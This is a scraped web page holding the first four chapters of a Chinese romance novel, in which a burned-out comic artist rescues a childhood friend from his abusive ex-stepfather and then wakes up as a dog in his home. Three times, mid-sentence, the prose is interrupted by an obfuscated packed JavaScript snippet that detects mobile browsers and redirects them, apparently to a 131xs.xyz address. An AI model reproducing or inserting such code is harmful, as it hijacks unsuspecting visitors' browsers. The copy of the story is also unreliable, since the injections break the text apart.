《变成狗狗后被小跟班缠上了》 1. 长坪 【这画的是什么鬼？卡布星，你告诉我，你是不是被夺舍了？】999+赞 【卡布星，你能睡着吗？我告诉你，我睡不着！！！这个结局我不接受！！！退钱！！！】999+赞 【卡布星，你三年前的处女作现在都还是畅销榜第一，后面三部作品也在前排挂着，但现在这个呢？画的乱七八糟，人设崩塌，故事线稀碎，你看看最后几话还能看吗？】999+赞 【卡布星，你是不是真的像网上说的那样江郎才尽了？你难道忘了剧情才是你的优势？不能画就别画了，行吗！】999+赞 【卡布星……】 【卡布星……】 江柚清猛地惊醒，心脏因情绪起伏过大而剧烈跳动。她大口喘着粗气，过了好久才稍稍平复。 闹钟滴滴答答再一次指向了凌晨三点。 这个星期第四次了。 她顾不得擦额头上的冷汗，直接掀起被子下床。 七月盛夏，热浪蹭着窗缝渗进来，江柚清此刻却觉得有一股冷意透过脚底涌上四肢百骸。 她踉跄走到工作的地方，慌忙拿起数位板旁边的笔，攥得指尖发白才勉强使自己静下心。 从上周完结《泗巷》之后，网上一夜之间对她的谩骂声突然增加，甚至冲上了热搜前排。 两个平台实时滚动的言论像密密麻麻的刺扎进江柚清的心脏，即便每日都吃安眠药，她依旧会被惊醒。 连载以来读者给予的高期待不断化为与日俱增的高压力，哪怕精益求精，可还是不够好。 窗外的夏蝉不知疲倦地叫着，月光从窗户倾洒进来，将她包裹进这片小小的安全区。 江柚清深呼一口气，将笔放在胸口，大脑短暂放空。 - “好运来，祝你好运来……” 微弱的手机铃声从睡衣口袋里传来，江柚清迟钝地掏出手机看了眼来电，是她发小秦唯安。 上周秦唯安才说这次要做个秘密采访会断联半个月，怎么这个时间点打电话，难道提前回来了？ “喂，你回……”她话还没说完，就被对面直接打断。 “你好，是江柚清吗？我是秦唯安的同事，这里是莲城二院，她让我等她手术完打给你。” “手术？” 江柚清大脑里的一根弦瞬间绷紧。 凌晨四点，马路上寂静无人，一辆银白轿车疾驰。 推开病房门的一瞬，江柚清迅速锁定床上的人，见没什么大碍后，紧绷的弦渐渐落下。她松了口气，走到床边替秦唯安掖了掖被角。 医美行业乱象丛生，其中势力盘根错节，早已经不是一个毫无背景的记者所能招架的，也只有这傻子，一腔孤勇。 七点，秦唯安醒来。 七点半，医生检查完离开。 “刚才医生说的，你记住了吗？这段时间不要做剧烈运动，也不要吃辛辣的东西。” “知道了，知道了。小手术而已，要不是现在腿吊着，我能立马给你来个托马斯回旋360°。” 江柚清见她还有力气插科打诨，无奈摇头，一边倒水，一边往她腰后垫了个枕头。 “别贫了，多喝点水，这段时间好好休息，你的事我没告诉叔叔阿姨。” “谢啦柚子，就知道你对我最好。”秦唯安接过水杯，手指摩挲着杯沿打转，欲说不说。 江柚清最见不得她这样支支吾吾的样子，直接开口：“说吧，有什么事让我帮忙。” 秦唯安一听这话，瞬间来了精神，一双小鹿眼眨巴眨巴看着江柚清。 “就是我妈给我表弟买了条狗，说这两天必须送到他手上，我现在这个样子不太方便送，但我不送的话，我妈就要起疑，要是被她知道我受伤了，肯定会让我辞职的，你知道的，她本来就不想我当记者。” “表弟？” 江柚清纳闷，她与秦唯安认识十几年，可谓是知根知底，却从来没听过她有什么表弟。 “就从小跟在你后面，你去哪，他去哪，跟了你好几年，我说他是跟屁虫，让他别跟了，他三个月都没理我的家伙。” “你是说何述？”江柚清把粥从袋子掏出来，放到秦唯安面前，“你以前可从来没提过你俩是亲戚。” 小时候江柚清是孩子王，身边一起玩的人换了一批又一批，只有何述安静地跟在她身边，年复一年，她认识何述的时间甚至比认识秦唯安还要早。 当年很多人都说何述性格怪异，孤立他，欺负他，还扬言江柚清如果跟他玩，她们就绝交。 江柚清有自己的交友标准，从来不理这些。只不过时间与距离阻隔了太多东西，他们断断续续也就好几年没联系了。 秦唯安心虚地摸摸鼻子，“那不是一开始我感觉他挺装的，跟他说八百句回你一句都要谢天谢地，所以根本就不想承认他是我亲戚。后来有次听到我妈和我二叔聊天才知道他小时候过得有多难……” “我妈早就想让他去国外，他不去，非要留在长坪。我妈拗不过他，只能每次多给他打点钱。现在她又不放心何述一个人在家，就听我二叔的建议，买了条狗陪他。” “所以柚子，”秦唯安发动终极星星眼加撒娇攻击，“你能不能替我回长坪送一下狗呀，求你啦~” 江柚清一向受不了别人冲她撒娇，只能缴械投降，点头答应。 * 莲城距离长坪四百多公里。 已经开了四个小时车的江柚清下了高速，将车停在路旁休息。 车窗外的天空一半阴云密布，一半晴空万里。她在这分界线下，欣赏大自然的鬼斧神工，内心获得了从未有过的宁静与轻松。 后知后觉，她才恍然秦唯安让她送狗的真正原因是想借送狗的名义让她换个环境。 江柚清哑然失笑。 副驾驶的小狗还在睡觉，她往上提了提搭在小狗身上的小薄被，重新启动车，继续赶路。 十分钟后，江柚清从乡间小路转到柏油路。 在柏油路的拐角，小时候常去的火神庙依旧耸立在原处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496313|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一晃近十年，它是长坪历史的见证者，同样也是她成长过程中的倾听者。 她降下车窗朝外望去，庙门紧闭，火红的旌旗飘摇。天地寂静，忽而起风，乌云汇集，旌旗猎猎作响。 “嗷呜。” 江柚清拉回视线，副驾驶的小狗不知道什么时候醒了过来，小小的豆豆眼安静地看着她。她觉得可爱，用指尖点了点小狗鼻子。 下一瞬，一道闪电划过天空，紧接着雷声阵阵，大雨倾盆而下。 雨势不妙。 小时候长坪的排水系统非常差，最严重的时候积水甚至能没过车顶。车辆前行困难，只能被迫等积水散去。 江柚清思绪至此，升起车窗，快速朝长坪驶去。 十五分钟后，暴雨戛然而止，江柚清也顺利抵达长坪。 长坪不算大，占地仅有莲城的2/3，这几年的开发也主要集中在黔河以南，黔河以北还跟十年前差不多。 何述没有搬家，凭借以前的记忆，江柚清很快就到了他家小区。 这种老小区进出人员不用登记，连保安都在打瞌睡。 她在心里默默勾了一笔，居住环境不太安全。 停好车后，江柚清一手抱狗，一手拎狗粮下车。 小区建成时间太早，每栋楼的外壁墙面剥落得厉害，且楼层层数不高，没有电梯，只有旧式楼梯。她揣着狗，慢慢爬楼。 刚爬到三楼，楼上噼里啪啦一通乱响，男人的叫骂声，瓷碗的碎裂声，还有隐约的要钱声混杂在一起。 按理说，这种小区的隔音效果不是很好。大家都是邻里邻居，大几十年的交情，哪怕夫妻争吵，打骂孩子也都会出门帮忙劝劝。 这个时间点正是吃晚饭的时候，每家都有人。可显然，没有劝架声。江柚清推测，大家可能已经来劝过了，而且不止一次，但这家人屡教不改，就不再管了。 怀里的小狗有点瑟缩，又往她怀里拱了拱。江柚清抽出手，轻轻拢住了它的耳朵。 又爬了一层，男人叫骂的声音逐渐清晰。何述的名字不断与脏话挂在一起，江柚清立刻感觉不对，三步并作两步快速上楼。 “你小姨给你的钱呢，在哪？赶紧给我拿出来。” “小时候这样，长大还这样。何述，你真变哑巴了吗？给我说话，钱呢！” “跟你妈一样长得一副勾引人的贱样，听二猴说有富婆看中你了，还不嫌弃你是个怪胎，要不我把你送给她，换点钱怎么样？” 601的门大敞着，满地狼藉，酒气熏天。 正对大门的青年此刻正被一个喝醉酒的肥胖中年男狠狠扯着头发，被迫扬起的脸上，鲜血从额头顺着颧骨不断地往下流。 即便时隔八年，江柚清还是一眼就认出了他。 她目光一凛，快速将狗拴在楼梯栏杆处，狗粮也放在一旁，捡起已经被折断的扫把杆，狠狠敲了敲门。 “大叔，你谁啊，赶紧放开我朋友！” 何述无悲无怒的双眼在看到江柚清一瞬，迅速涌起波澜。 2. 护短 男人闻声朝门口看了一眼，不由嗤笑，“没想到啊，何述，你还有这么漂亮的朋友？” 他不觉得眼前的女娃娃有什么威胁，不过是长得漂亮些，即便拿个棍子也不过像一只要挠人的小猫，毫无威慑力。 “给不给钱？不给我弄死你！” 男人丝毫不顾忌有人在场，手下力道加重，压得何述脖颈青筋暴起，呼吸艰难。 江柚清一个箭步上前，直接挥棍砸到男人后腰。 男人吃痛起身，想要抓住江柚清，结果被江柚清反脚一踢，踹倒在茶几边。 一下子喘过气的何述垂着眼，半窝在角落，剧烈咳嗽。 江柚清蹲在他身前，想要检查他额头上的伤口，手下一空，人已微微偏头。 “别给老子上演朋友情深的戏码，不给我钱，那就去死。”男人嘶吼一声，拿起茶几上的雕刻刀就朝江柚清刺去。 江柚清还没来得及回头，视线一转，身位变换，何述死死护在了她身前。 刀子错位，蹭过何述手臂，划下一道血色长痕，血珠不断从伤口处涌出。 脸上，手上全是血，何述却像一个感受不到疼痛的破布娃娃，没发出一点声音。 沉默，还是沉默。 江柚清目光越过何述直直看向醉酒男人，一腔怒火。 她把棍子塞进何述手里起身，一个利落飞踢将男人手上的雕刻刀踢飞，接着勾拳狠狠砸在男人脸上。 男人被打的吐了一口血沫，他直起身，眼里淬着火，大骂：“狗娘养的，你敢打我，看我不打死你。” 拳头夹着风朝江柚清袭来，江柚清弯腰躲避，右脚旋起，一记横踢，直接扫在男人膝窝。 男人步伐不稳，踉跄两步，江柚清趁机拧腰借势，左脚脚背狠狠砸在男人胸口。 “砰”的一声，男人应声倒地，他捂着胸口，满眼怒火，还想挣扎起身。 江柚清迅速上前，膝盖一弯，用力抵在男人后背，大力将男人左臂翻折，摁压地上。 当年她的跆拳道老师说过，只要量级差异不是巨大，很少有人是她的对手。 男人见打不过眼前的女娃娃，将怨气全撒在角落的何述身上，朝他乱吼，“你他娘的一个傻子，我就不信这女娃娃能一直护着你，只要她离开，你看我弄不弄死你。” 见他毫无悔过之意，江柚清膝盖狠狠一压，男人一阵哀嚎。她靠近男人耳边，“大叔，你怎么知道我不能一直护着他？” 何述猛然抬头，眼睛一眨不眨地看着江柚清。良久，他才捡起掉在地上的毛巾，用它缠住胳膊上的伤口，延缓血流速度。 “你是不是也想要他，只要你放开我，我就把他给你，我只是想要点钱，拿完钱就走。”男人躬起身，露出一抹讨好的笑。 多少年了，他都没见过这怪胎周围有哪个能帮他出气的朋友，唯一一个现在还在外地，明天才能回来。现在这个女人突然蹦出来就说是他朋友，鬼才信，不过也是相中了这怪胎的一张脸罢了。 “大叔，你以为你是谁啊，不过是一分钱都没给何述花过的前继父，凭什么替他决定人生。” 有一种人，骨子里烂透了，跟他说理还不如让他彻底记住教训。 江柚清的拳头止不住地落下，又狠又厉。 “别打了，别打了，我错了，真的知错了。” 男人被打的要疼死，他是真的没想到，这女娃娃这么狠，再打下去自己半条命怕都要没了，那怪胎究竟从哪里找到这么厉害的人。先求饶，以后再收拾这小子。 “呵。” 江柚清冷哼一声，这种话她听了太多次了。 当年三叔也是这样一遍又一遍地朝三婶父母保证，结果呢？三婶被他打成植物人，去年宣布死亡。 她深知这种人的脾性，只要这次没让他怕，下一次绝对会趁自己不在再来找何述麻烦。 既然他不怕，那就打到他怕。 就在江柚清的拳头再一次落下时，一股力突然钳制住了她的胳膊。 江柚清微怔，她顺着力气偏头。何述安静地看她，黑色的瞳孔犹如深潭里的墨石，她不受控地停了下来。 “汪！汪！汪！” 门口传来几声微弱的狗叫，江柚清彻底回神，她轻轻拍了拍何述的手，扯回被他拽着的胳膊，示意她有分寸。 “以后还来不来找何述的事？”江柚清站起身，拿过何述手里的棍子抵在男人脑门。 “不来了，不来了。” 男人头摇的跟拨浪鼓一样，眼睛里全是求饶。 “好，下次再让我看到你欺负何述，陈峰，我是绝对不会放过你的。” 听到自己名字的男人，背脊一凉，酒意瞬间清醒大半，连滚带爬地下了楼。 闹事的人走了，屋里到处都是翻找的痕迹，凑不出的一个干净地方。 屋子可以后面再收拾，但何述的伤不能等，伤口太多而且又深，不及时处理可能会感染，必须马上去医院。 江柚清扔掉手里的棍子，开口：“我的车在下面，你的伤口需要处理，我现在送你去医院。你拿一下身份证，我还有条狗在外面，我先把它抱进来。” 预想的是她抱狗，何述找身份证，两人分工，然后再带他去医院。 实际却是她走一步，何述跟一步。她走哪，何述跟哪，完全就跟小时候一模一样。 只不过她不清楚何述是因为记得她才跟着她，还是因为所谓的创伤性依恋才跟着她。 不过哪种情况都没关系，现在最要紧的是去医院，跟着就跟着吧，江柚清随他去了。 门口被狗绳绑在栏杆的小狗蜷缩在地上，看着委实可怜。江柚清伸手想要抱它，小狗有些胆怯地往后缩了缩。 来的时候还好好的，很亲近她，怎么现在抱都不让抱。 何述俯下身，伸出手，用指腹点了点江柚清手指关节处的血。 江柚清恍然，小狗对气味很敏感，可能是血腥气盖住了她手上原本的味道，它才有点抗拒。她用没受伤的手碰了碰小狗的头，轻声唤它，“是我呀，不记得我了吗？” 小狗探头仔细嗅了嗅江柚清的手，试探着将爪子搭在了她的手上。 “欸，真乖。”江柚清眉眼一弯，将狗搂到怀里。 何述默默拿起一旁的狗粮，亦步亦趋地跟在江柚清身后进屋。 “身份证，还能找到吗？” 何述点头，去卧室拿身份证。几步路的距离，他担心江柚清会忽然消失，一步三回头地看她。 江柚清心里叹了口气，向他保证，“我不会走的，你快去拿身份证。” 何述没说话，但也没再回头。 * 挂号，缝针，拿药。 车从医院回去的路上，才不过刚过九点。 与冠有不夜城之称的莲城相比，长坪显然太过萧索了一些。 街上行人稀稀疏疏，路两旁的店铺也大多都已经关门。 在长坪，时间是慢的，生活是慢的，这里的一切都像是按下了慢速键。 十字路口过红绿灯，一分钟的等待时间。江柚清透过后视镜，仔细打量着坐在副驾驶抱着狗的何述。 从他未被刘海遮挡的额头一路滑至那双正在抚摸小狗的手上，江柚清目光微凝。 比起何述优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496314|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越的五官长相，她真的很喜欢他的这双手。 白皙修长，骨节分明，十指指腹泛着薄茧，手背上的淡青血管半隐在阴影里，右手手腕内侧有一颗红痣，平添一抹性感。 这双手，她想画画的人都会爱上。 红灯变绿，江柚清油门一踩，车辆加速前进。五分钟后，到达何述家楼下。 “要记住医生说的话，伤口不要沾水，药膏也要按时抹，知道吗？” 何述乖巧点头。 “狗狗，姐姐要走啦。”江柚清弯腰呼噜呼噜小狗下巴，手指一转又揉乱了它圆圆的小脑袋，“好好陪你的主人吧。” 抬头又看向何述，“我走啦，你好好照顾自己。刚才在医院，我的联系方式存在你手机上了。我会在长坪待上一段时间，有事你联系我。” 小区年久失修，几年前安装的老式路灯只泛着微弱的黄光。 何述抱着狗，拎着药，安静地站在门口看她，如同一座沉默的钟。 江柚清感觉到一种巨大的孤寂正缓缓吞噬他，想起今天的事，拉起的车门又被轻轻合住。 她疾步走到何述前面，问他，“何述，你还记得我吗？你要是不记得我，那就意味着我对你来说是陌生人，你不能这样轻易相信别人，哪怕这个人帮过你……” “江柚清。” “什么？”江柚清有点没听清。 “江、柚、清，你是江柚清。”何述极其认真地一字一字重复。 江柚清愣住。 夏风习习，掠过一方寂静，蝉声四起。 * 晚上10点，江柚清到家。 家里陈设还跟以前一样，她扯掉盖住的遮尘布，简单清扫了一遍，才勉强像个家样。 累，真的太累了。可身体累，脑子却异常清醒。 她从行李箱里掏出安眠药，混着矿泉水咽下。不吃的话，她不确定自己还会不会失眠。 “叮！” 【唯念你安】：到家吗，到家吗，柚子说话！！！ 【爱吃甜柚】：刚到。 【唯念你安】：吓死我了，你再不回我，我就要报警了。怎么样，还顺利吗？ 江柚清瞥了眼缠了几层纱布的手，毫不心虚地撒谎。 【爱吃甜柚】：顺利，狗已送出。 【唯念你安】：谢啦柚子，这下可以和我妈交差了。这几年你都没怎么休息，正好这次趁回长坪你好好休息，其他什么都别管。 【唯念你安】：等你从长坪回来，我带你去蓝码去浪。开心小狗.jpg 【爱吃甜柚】：好的.jpg 江柚清把手机放到一边，手臂遮住眼，挡住刺眼的灯光。 她想要重画《泗巷》后几话，想要再拥有创作的能力，可她还能拿起画笔吗？ 江柚清不确定，但她还是愿意相信事缓则圆，留在长坪说不定真的会发生奇遇。 恍惚中，耳边似乎又响起了何述的声音，在一遍遍地唤她的名字。 “何述。”江柚清呢喃一句，陷入了沉睡。 一夜无梦。 已经很长时间都没有睡过这么痛快的觉了，江柚清只觉得浑身爽利，有点想赖床。 迷迷糊糊中，一股好闻的柚子味传来，她往源头蹭了蹭，又睡了过去。 不知道过了多久，终于睡饱了。江柚清舒服地伸了个懒腰，发出一声满意的——狗叫。 狗叫？ 狗叫？？ 狗叫？？？ 江柚清瞬间睁眼，还没等她搞明白是怎么一回事，就与正往狗盆里倒狗粮的何述大眼对小眼。 “汪！” 3. 狗狗 一定是在做梦，肯定是睡糊涂了，这又不是小说，人怎么可能会变成狗。 太荒诞了。 江柚清闭上了眼，睁眼，毫无变化。闭眼，再睁眼，一如既往。 救命，谁能告诉她，究竟发生了什么？她不想变狗啊！ 江柚清沿着屋子狂奔，难以接受这个事实。 正倒狗粮的何述眼里露出一丝迷茫，他目光追随这只小马尔济斯犬，不明白一觉醒来，它怎么变了个样。 半个小时后。 筋疲力竭的江柚清默默爬回了自己的窝，暂时接受了自己变成狗的现实。 何述把小狗盆往小狗面前推了推，“累了吧！要不要吃饭？” 江柚清扫了一眼堆得满满的狗粮，把头埋在爪子下，不说话。 江柚清不饿。 江柚清拒绝。 江柚清宁死不吃狗粮，势必守住最后的底线！ “是不想吃这个吗？” 江柚清神色恹恹地点头，她从爪子缝隙中看到何述从兜里掏出手机，划拉几下去了厨房，不知道干什么。 肚子饿的咕咕叫，狗粮的香味传来，江柚清舔舔唇，争气地站起来，决定远离诱惑源。 马尔济斯犬的四肢太过短小，以前走一步的距离，现在她要走三步。 江柚清迈着小碎步，走走停停。 何述的房子不是很大，两室一厅一卫。客厅里的东西少的可怜，像是极简主义者。 昨天乱糟糟的屋子，现在已经全被收拾妥当。 巡视了两圈客厅，江柚清觉得没啥意思，准备转移阵地。刚转身，就见沙发底下有个黑糊糊的东西。 好奇心爆棚，她使劲伸直一条腿胡乱地扫，想把东西勾出来。奈何腿实在太短，费劲半天，东西没到手，爪子沾了一层灰。 何述走到她身边，半蹲下来，伸手一捞，把东西拿了出来。 一个纹路精细的木雕小鱼。 江柚清吃惊，这条竟然跟8年前送她的那条差不多，只不过更精致了。 “想玩这个吗？” 何述从纸盒里抽出一张纸，抬起小狗的爪子，仔细地擦。擦完，又抽出一张擦木雕小鱼。 江柚清以为他要把小鱼给自己，爪子伸开乐呵呵准备接。结果下一秒直接腾空，惊得她乱扒拉。再一秒，稳稳落在何述怀里。 呼—— 她长舒一口气，有些哀怨地看着面色不改的何述，声声控诉。 【不是不让你抱，但你能不能提前打个招呼，最起码让我有点心理准备，这样很吓人的！】 “汪！汪！汪汪汪！” 何述听不懂，觉得小狗可能是饿狠了。他没有喂宠物的经验，只能摸索着用勺子挖了一点鸡蛋黄，送到小狗嘴边，耐心地喂它。 【你竟然给我换餐了？】 江柚清吧唧吧唧地吞咽，简单的鸡蛋让她好吃到想哭。 第一次，她很庆幸自己是变成了何述的小狗，而不是外面的流浪狗，不然生存都是个问题。 吃完饭后，江柚清被顺带着抱进了卧室对面紧闭的屋子。 屋子不算大，算是个小型工作室，工具桌和木架占了大片区域。桌子上，摆放着各种雕刻刀，以及凿子、砂纸、卡尺等工具，还有一个几近完成的木雕雕像。 木架上已经摆放了一个花纹繁复的木箱子和11个古代女子雕像。雕像的衣服纹路，动作神态，其复杂程度，她不用想也知道这需要花费雕刻者的多少心血。 进入到工作的地方，何述自成结界，眼里只有雕刻。 江柚清怕打扰他，安静地窝在椅子里，专注地看着他那修长的手指拿着雕刻刀一笔一笔地勾勒手中的木块。 指尖翻飞，人物脸部轮廓初现。 不得不说，看何述雕刻物件是一种美的享受。一连几个小时，她也不觉烦闷。 刻下最后一笔，何述把木架上的11个雕像摆在工具桌上，与新刻好的第12个放在一起，又认真修饰箱子细节。 江柚清目不转晴地欣赏雕像，脑中灵光一闪。 她知道何述雕的是什么了，竟然是红楼梦里的金陵十二钗！！！ 不过看外形参照的应该是原书的描写，所以她才没一下子认出来。 一般来说，只参照小说描写来创作，会更考验雕刻者对于文本的理解力。这12个雕像惟妙惟肖，太过精致，江柚清由衷佩服。 何述忙完，走到小狗面前，半蹲下身，用指尖拨了一下它的耳朵，轻声询问：“等下陪我去一个地方可以吗？” 江柚清浑身一激，头一扭，睁着小眼睛看罪魁祸首。 她是万万没想到，当人耳朵敏感就算了，这都做狗了，耳朵怎么还这么敏感。 不过出于吃人嘴软，拿人手短。 江柚清直接同意。 【好。】 “汪！” 十分钟后。 一个男人从主驾驶位撑伞下车，满脸震惊地快步走到站在门廊下的何述跟前，“我去，我去！何述，你养狗了？不是说不养宠物吗？” “好乖的小狗，让我rua一rua。”男人满脸兴奋地接过何述手里的箱子，闲下的另一只手跃跃欲试。 浑身起鸡皮疙瘩的江柚清快速把头埋进何述怀里，拒绝意思拉满。 像是感受到小狗的不情愿，何述将它往自己怀里收了收，不经意间顶开了男人的手，“余亮，仪式要结束了。” “对对对，正事重要。” 电闪雷鸣，暴雨如注。 一辆黑色奔驰如同一只海燕，飞行于暴雨之中。 * 建安集市。 林家木雕店前聚了很多人。 店里最中间摆着一张黑白照片，照片里的老人头发花白，精神矍铄。 大束花圈有序地摆在店门口的屋檐下，哭声融进瓢泼大雨，混着唢呐的悲鸣，奏起一曲奇异的挽歌。 余亮把车停在距离木雕店几十米的地方，往前瞅了一眼，有点不放心。 “何述，你不让我陪你，那你自己要小心，送完东西就回来，别理那些人。” 何述点头，小心把怀里的小狗放到座位上，撑伞下车。 车外，雨势依旧。 江柚清看着何述一步一步没入雨幕，莫名有些不安。 木雕店门口站着一堆人，冷漠地看向何述，没有一个人前来相迎。 何述径直走到遗像前，跪在蒲团上认认真真磕了三个头。 “何述！” 一个中年男人从门外三两步冲到何述面前，死死攥着他的衣领，怒吼：“你还有脸来？” “哥，你在干什么？”跪在一旁的女人大喝。 “我干什么？”男人惨笑，“咱爸倾尽全力教他15年，临到尾，哪怕在病床上还惦记他。可他呢？王总点名让他陪，只要一杯，咱们林家木雕就能起死回生，大好机会就在眼前，就在眼前啊。” “哥，我们林家木雕走了这条路就脏了啊！”女人扯住男人的胳膊哭喊着让他松手。 “真是白眼狼，老林竟然还想把这个店传给他，真是昏了头了。” “咱们长坪这几年木雕效益不好，很多木雕店都关门了，只有老林一直咬牙硬挺着。就喝一杯的事，怎么就不肯呢？” “所以说啊，白眼狼养不熟，更何况是个脑子有病的。” 屋里屋外所有人都在看这场闹剧，却没有一个人制止。 “汪汪汪！” 狗叫声乍起，众人纷纷往门口看。 一个小小的白色身影从雨幕里冲了过来，一口咬在正钳制住何述的男人裤脚。 江柚清本意是想把他拉开，可是力气太小，根本拽不动。 第10086次，她不满这具矮小的身体，但依旧费力的拽着，就知道那股子莫名的不安不是凭空而来。 “哪里来的狗！” 男人怒喝一声，反脚一踹就要把狗踢走。 何述见状，拼力挣开男人的禁锢，眼疾手快地把狗抱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496315|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 “原来是你的狗，”男人双手握拳，看着遗像，目眦欲裂，“滚，林家木雕从此不欢迎你。” 何述紧紧搂住怀里的狗，没有说话，也没有离开。 江柚清早就生气眼前这个人对何述的暴力行为，她把前爪抽出来，攀在何述胳膊上，仰头呲牙瞪他。 【凶什么凶，你凭什么动手？看何述一个人好欺负？】 “汪汪汪！汪汪汪汪！” 何述摸摸小狗头，努力安抚它。江柚清平复心情，安静下来，可一双豆豆眼还是依旧奋力瞪人。 “混账，你让谁滚！” 苍老威严的声音从门口传来，灵堂瞬间安静，一个头簪白花的老人拄着拐杖从门外进来。 “林子觉，你怎么能说出这种话，我们林家木雕怎么会搞这些歪门邪道！” 男人望着老人，绝望地喊了一声妈。 “师娘，对不起。”何述见到老人来了，拎起脚边的箱子，递给她。 老人接过箱子，浑浊的眼里泛起泪光，“你师父生前就教你做人要正直，你没有做错。回去吧，这里有师娘。” 何述弯腰鞠了一躬，又久久看了一眼照片上的老人，转身离开。 屋里。 老人拄着拐杖走到灵桌前，将盒子里的东西一一摆出，又把盒子拆开重新组装。 林子觉脸色苍白，当场怔住。 他不敢置信般喃喃自语，“金陵十二钗，荣国府，他竟然雕出来了，雕出来了。” 谁不知复刻金陵十二钗是林老头死前最想完成的事，断断续续雕刻了几十年，却始终未得神韵，现在却被何述那傻子雕出来了，还雕的这么精妙。更何况那看似简单的箱子，只利用榫卯结构，就能将荣国府囊括方寸之间。 众人霎时无言。 在天赋和实力面前，一切诋毁和嘲笑都显得那么低劣。 * 车行一路，江柚清昏昏欲睡。等到何述把她抱下车，她又换了个姿势继续地窝在他怀里。 余亮看着此时黏黏糊糊，满脸萌样的小白狗，脑子里闪现的却是几个小时前那条差点把他门给扒拉掉的小疯狗，不禁感叹这年头，狗都有双重性格了。 “何述，我走了，下次有事打电话，随叫随到。” 何述点头，目送车子离开。 回到家，他把还在睡觉的小狗轻轻放到沙发上，起身回了卧室。 一碰沙发，江柚清就醒了。她没忘记从去葬礼到回来，何述的情绪一直不高。 抚慰犬的职责就是要能安慰他人情绪。 既然现在她是何述的抚慰犬，那么这个工作她必须要胜任。 江柚清跳下沙发，顺着没有关紧的卧室门溜了进去。 屋子里没有开灯，窗帘也被拉上，门缝里透出的一点光，模糊地照出了一个坐在床边的人影。 一动不动，像是静默的雕像。 江柚清跑到何述脚边，用头蹭了蹭他垂下的手心。见他没有反应，又伸出牙齿轻轻咬了咬他的指尖。 【你别难过，虽然不知道你发生了什么，但所有一切不好的事情都会过去的，你已经很棒了，别伤心……】 “汪汪！汪汪！汪汪汪！” 江柚清清楚自己说的话何述听不懂，但她还是想安慰他。他一个人走了太久，过程的艰辛不必明说她也知晓。 “别担心。” 何述弯腰把小狗从地上揽到自己身上怀里，头抵在小狗头上，毛茸茸的触感从下巴开始蔓延。 简简单单三个字，江柚清的心静了下来。她扭到何述腿上，头抵在他的小腹前，温顺地让他摸摸自己的毛，希冀能多给他一点安慰。 外面的雨变成了最催眠的白噪音，熟悉又好闻的柚子味再次传来。她循着味道，往何述怀里又拱了拱，眼皮晕晕乎乎打着架。 过了几分钟，何述把侧脸埋进小狗的后颈，声音低哑。 “谢谢你，柚子。” 江柚清浑身一震，心脏轰鸣。 4. 超市 他怎么会知道？ 江柚清还想琢磨一下，可超负荷的运动量让她的电量已然耗尽。 大脑宣布大罢工，不到三秒，江柚清就歪在何述怀里睡死过去。 何述感受着小狗有规律的心跳声，抱着它侧身躺在床边。 小狗睡得很香，何述用指尖拨开被狗狗毛遮挡小爪，在它爪心打转，一圈又一圈，直到惹得小狗爪子微微蜷缩才肯罢手。 窗外的雨打在窗棂上，伴着风，奏起了交响乐。 何述拉起夏季薄被搭在小狗身上，起身去了工作屋。 * 江柚清醒过来的时候，天还没亮，迷瞪了好半天，才缓过神。 天花板的灯还是何述家那个简约的圆形吸顶灯，而不是她家泛黄的老式灯管。 好吧，又是没变回去的一天。 不过没关系，肯定会变回去的！ 沮丧的心情一晃而过，江柚清抖擞精神，准备下床。刚爬起来，身上突然一重，一只大手裹着她的背又把她压趴下去。她歪头看向不过据她咫尺的何述，有点子郁闷和别扭在身上。 抚慰犬什么时候还有陪睡这个业务啊？ 虽然她是狗狗形态，但是这么近，这跟何述同床共枕有什么区别？还有狗不应该睡在狗窝吗？何述怎么没把她抱过去，就这么放任她睡床？ 疑惑不过一秒，江柚清就躺平了。 变狗这么魔幻的事情都能发生在她的身上，这些事都不算事。 不得不说，变成狗之后，她的睡眠质量直线上升，大有把过去五年失眠的觉都补回来的架势。 这两天睡得太多，她不困，又被何述压着，只能安静地瘫在床上。 大脑抽出《泗巷》剧情，江柚清一点一点梳理人物行为和故事bug。 《泗巷》的故事情节简单且狗血，讲的是居住在泗巷的三户邻居从上个世纪90年代一直持续到现在的情感纠葛。上一代父母的爱恨直接延续到了下一代，让四个小孩在感情洪流中挣扎前行。 这部漫画江柚清构思很久，起初很顺利，一直画到女主不愿受母亲禁锢想追逐自己的梦想，结果却被母亲以死相逼时，她像是看到了自己的过往，突然不知道该怎么画了，硬着头皮画下去的后果就是剧情全面崩塌。 母亲—— 江柚清的记忆停摆在10岁那年那抹刺眼鲜红色，再也止步不前。 * 天亮的很快，五点出头，窗帘缝隙中就散出些光亮。 